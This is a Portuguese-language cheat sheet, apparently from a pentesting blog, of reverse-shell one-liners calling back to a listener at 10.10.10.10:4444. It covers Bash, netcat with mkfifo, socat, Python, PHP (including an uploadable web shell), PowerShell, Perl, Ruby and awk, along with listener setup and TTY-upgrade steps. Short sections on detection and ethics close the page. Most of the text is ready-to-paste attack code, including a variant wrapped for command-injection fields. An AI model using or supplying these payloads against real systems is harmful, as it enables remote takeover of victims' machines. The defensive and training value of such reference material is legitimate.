Cheat Sheet Reverse Shell 2026: One-Liners para Cada Shell

O que é um reverse shell?

Um reverse shell é uma sessão de shell em que a máquina alvo inicia a conexão de volta ao atacante, em vez de o atacante se conectar ao alvo. O atacante roda um listener, a vítima executa um pequeno payload que liga para casa, e as duas pontas se juntam em um shell de comando interativo.

A direção é todo o truque. A maioria das redes filtra fortemente o tráfego de entrada mas mal inspeciona o tráfego de saída, porque a saída é só usuários navegando na web. Um reverse shell aproveita essa assimetria: a vítima faz o que parece uma conexão TCP de saída normal, e você ganha um shell do outro lado de um firewall que nunca teria deixado você entrar.

É também por isso que os reverse shells são descritos como uma "conexão reversa" na literatura mais antiga. A referência clássica do conceito é a técnica de conexão reversa, anterior ao pentest moderno e criada originalmente para que ferramentas de administração remota ligassem para casa através do NAT.

Reverse shell vs bind shell

Um bind shell faz o oposto: a vítima abre uma porta em escuta e espera que você se conecte. Bind shells são mais simples, mas falham no momento em que um firewall fica entre você e o alvo, o que em qualquer rede real é sempre. A regra prática: recorra a um bind shell só quando a saída estiver totalmente bloqueada mas você ainda consegue alcançar uma porta de entrada, o que é raro. Por padrão, escolha um reverse shell toda vez.

• Reverse shell - a vítima se conecta até o atacante. Vence as regras de firewall de entrada e o NAT. A escolha padrão.
• Bind shell - a vítima escuta, o atacante se conecta. Mais simples, mas inútil contra redes que liberam a saída e filtram a entrada.

Como funciona um reverse shell

Duas metades precisam se alinhar. Na sua máquina você roda um listener que espera uma conexão de entrada. No alvo você executa um payload que se conecta ao seu listener e liga a entrada e a saída da conexão a um interpretador de comandos.

Inicie o listener primeiro, sempre. Se o payload disparar antes de algo estar escutando, a conexão é recusada e você fica se perguntando por que um one-liner correto falhou. O listener netcat padrão é:

nc -lvnp 4444

As flags se leem assim: -l escutar, -v verboso para você ver a conexão chegar, -n sem resolução DNS, -p 4444 a porta. Quando o payload da vítima roda, o netcat imprime uma linha de conexão e você cai no shell do alvo. Na prática, a primeira coisa a digitar é id, para confirmar como qual usuário você caiu antes de fazer qualquer outra coisa.

O cheat sheet de reverse shell: one-liners para cada shell

Este é o núcleo da página. Cada bloco supõe que o seu listener já está ativo em 10.10.10.10:4444. Escolha o que combina com o que o alvo tem instalado. Em uma máquina enxuta você raramente tem escolha, então vale a pena reconhecer vários.

Inicie seu listener primeiro

# Plain listener
nc -lvnp 4444

# Better: wrap netcat in rlwrap so arrow keys and history work
rlwrap nc -lvnp 4444

Dica com opinião: instale o rlwrap e nunca mais rode um listener nc puro. Um reverse shell recebido sob rlwrap te dá histórico de comandos e edição de linha na hora, antes mesmo de você se dar ao trabalho de elevar o TTY.

Bash

O payload Linux mais comum. Ele usa o pseudo-dispositivo embutido /dev/tcp do Bash, então não precisa de nenhuma ferramenta extra:

# Bash /dev/tcp (the everyday one)
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# Wrapped, for pasting into a command-injection field
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Um detalhe que vale saber: /dev/tcp é um recurso do Bash, não do Linux. Se o /bin/sh do alvo for dash (padrão no Debian e no Ubuntu), a mesma linha falha em silêncio. Na dúvida, chame bash explicitamente em vez de contar com sh.

Netcat

Se a máquina tem netcat, você tem dois caminhos. O limpo precisa da flag -e, que a maioria dos builds modernos removeu:

# Only works on netcat builds that still ship -e (rare now)
nc 10.10.10.10 4444 -e /bin/bash

Opinião forte: não conte com -e. O netcat OpenBSD que vem no Kali e na maioria das distribuições o abandonou anos atrás, exatamente por isso. A resposta portável é o truque do pipe nomeado, que funciona em praticamente qualquer netcat:

# mkfifo / named pipe - works without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

socat

Se as duas pontas têm socat, pule completamente o shell rudimentar. O socat pode te entregar um TTY plenamente interativo desde o início, o que é a maior melhoria de qualidade de vida desta lista inteira:

# Listener (your box) - note the backticks around tty
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim - delivers a full PTY, no upgrade dance needed
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Python

Python está em quase toda máquina Linux e o payload é confiável. A versão abaixo cria um PTY diretamente, então você ganha um shell razoável sem as etapas de elevação:

# Python 3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.10.10",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Se só houver Python 2 em uma máquina antiga, troque python3 por python; o resto é idêntico.

PHP

O payload para soltar depois de uma vitória por upload de arquivo ou LFI em um servidor web. Como one-liner com o CLI do PHP:

# PHP CLI one-liner
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Como arquivo de web shell para upload:

<?php exec("/bin/sh -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"); ?>

Precisa de um payload PHP ou Java mais pesado, gerado para você? O cheat sheet do msfvenom produz web shells Meterpreter em um único comando quando um one-liner cru não basta.

PowerShell (Windows)

Windows raramente tem netcat, mas sempre tem PowerShell. Este é o one-liner padrão; ele é longo porque o PowerShell não tem uma primitiva embutida de redirecionamento de shell:

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Perl, Ruby e awk

Os planos B para quando nada mais está presente. awk em particular está em toda máquina Unix já lançada:

# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.10","4444");loop{c.print"\$ ";cmd=c.gets;break if cmd=~/exit/;(IO.popen(cmd,"r"){|io|c.print io.read})rescue nil}'

# awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'

Receber e estabilizar a conexão

Receber o shell é a metade fácil; o shell rudimentar que você obtém é a metade chata. Uma recepção netcat crua não tem controle de jobs, não tem autocompletar com tab, não tem histórico, e ela morre no instante em que você aperta Ctrl-C. Duas escolhas de listener facilitam a vida antes mesmo da elevação:

• rlwrap nc -lvnp 4444 - te dá readline (setas, histórico) no shell recebido, na hora.
• socat file:`tty`,raw,echo=0 tcp-listen:4444 - combina com o payload de vítima socat para um TTY completo sem nenhuma etapa extra.

Na prática, se você controla as duas pontas e o socat está disponível, a combinação socat-para-socat é de longe a recepção menos dolorosa. Quando você está preso ao netcat, siga para a elevação do TTY abaixo.

Elevando para um TTY plenamente interativo

Esta é a etapa que a maioria dos iniciantes pula e depois sofre. Um shell netcat sem TTY não consegue rodar sudo, ssh, su, nem nada que queira um terminal, e um Ctrl-C acidental mata toda a sua sessão. A correção é uma sequência curta e decorada:

# 1. In the reverse shell, spawn a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# 2. Background the shell: press Ctrl-Z

# 3. On YOUR local box, hand the terminal raw to the shell
stty raw -echo; fg

# 4. Back in the shell (it looks blank - press Enter), set the terminal
export TERM=xterm
stty rows 38 columns 116

Depois disso você tem um terminal quase nativo: autocompletar com tab, controle de jobs, prompts de sudo funcionando, e um Ctrl-C que interrompe o comando remoto em vez de matar sua sessão. Os valores de stty rows/columns devem casar com o seu terminal local; rode stty -a em uma janela normal para ler os seus.

Quando você tem um shell estável, o trabalho de verdade começa: descobrir como ir desse usuário para root. É aí que um script de enumeração se paga. Nosso guia sobre como usar o LinPEAS continua exatamente de onde este cheat sheet para, varrendo a máquina em busca de caminhos de escalação de privilégios no momento em que seu shell fica estável.

Como os defensores detectam e bloqueiam reverse shells

Entender a detecção é metade do trabalho, e é leitura obrigatória se você um dia sentar do lado do blue team. Reverse shells são barulhentos se alguém estiver olhando os sinais certos. Os defensores os pegam por um punhado de indícios confiáveis:

• Filtragem de saída (egress) - redes que liberam a saída só nas portas 80/443 quebram payloads ingênuos apontados para a porta 4444. A base defensiva é negar a saída por padrão e liberar por exceção.
• Linhagem de processos - um processo de servidor web (www-data) criando bash, nc ou python com um socket de rede é uma assinatura clássica de EDR. Filhos de daemons web não deveriam abrir conexões TCP.
• Anomalias de conexão de saída - um servidor que normalmente nunca inicia conexões e de repente disca para um IP externo é um forte indicador em logs de netflow ou DNS.

A técnica corresponde, no MITRE ATT&CK, a Command and Scripting Interpreter (T1059), que cataloga a execução por interpretador da qual depende cada payload deste cheat sheet. Se você constrói detecções, essa página é a referência do que alertar.

Considerações legais e éticas

• Use estes payloads apenas em sistemas que você possui, em labs dedicados, ou dentro do escopo definido de um engajamento autorizado.
• Mantenha seus callbacks dentro da faixa de IP do escopo. Um reverse shell que se conecta fora do escopo continua fora do escopo.
• Registre o que você roda durante um engajamento com cliente. O acesso ao shell e os comandos executados pertencem ao relatório.
• Pratique em alvos propositalmente vulneráveis, não em hosts aleatórios da internet. Os labs abaixo existem exatamente para isso.